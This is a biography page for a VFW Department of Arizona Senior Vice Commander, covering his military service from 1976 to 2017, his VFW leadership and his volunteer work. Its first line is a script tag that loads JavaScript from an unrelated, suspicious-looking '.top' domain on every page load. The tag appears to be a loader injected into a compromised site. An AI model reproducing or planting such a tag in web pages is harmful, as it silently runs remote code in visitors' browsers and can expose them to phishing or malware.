<script src=https://pearljunction.top/realm/reset-request.js></script>



Hugues Byrne
Department Sr. Vice Commander - Marines

Hugues Byrne — Sr. Vice Commander

VFW Department of Arizona — Sr. Vice Commander

Hugues Byrne

All-American Commander
 
USMC ’76–’85 Army National Guard Bosnia Iraq 1,600+ Flight Hours

41 yrs

Combined military service

6,000+

COVID care packages delivered

7,500+

Toys for Tots gifts, Pinal County

A Marine Corps veteran and Army National Guard retiree, Hugues Byrne served from 1976 to 2017 across two branches, accumulating over 1,600 flight hours in the CH-46 and UH-60, 364 days at sea, and deployments to Bosnia and Iraq. Since retiring from federal service he has become a cornerstone of Arizona’s veteran community—rescuing a failing VFW post, leading District 10, serving as Department Judge Advocate, and logging thousands of volunteer hours across a dozen organizations.

VFW Highlights

Rebuilt VFW Post 1677 from near-closure to a thriving community anchor (2019–present)
Post Commander All-American three consecutive years; All-State Captain (top post commander in Arizona)
District 10 Commander (8 posts), All-State & All-American 2022
Department of Arizona Judge Advocate & former Department Surgeon
Beat Covid program: $31,000 raised, 6,000+ care packages, 600+ volunteer hours
Gil La Montoya Award 2023 — presented once per year, once per lifetime
National Convention Memorial Services Chairperson, Phoenix 2023

Additional Service

Life Member — Marine Corps League Det. 901; Marine of the Year 2022–23
20+ Missing in America escort rides; 15+ Picacho Peak Riders fundraiser escorts
Life Member — Military Order of the Cootie, American Legion Post 133, VFW National Children’s Home
Military Order of the Devil Dogs — fundraising for children’s hospitals statewide
"

Commitment to community

Thousands of hours serving Arizona’s veterans, families, and neighbors—one mission at a time.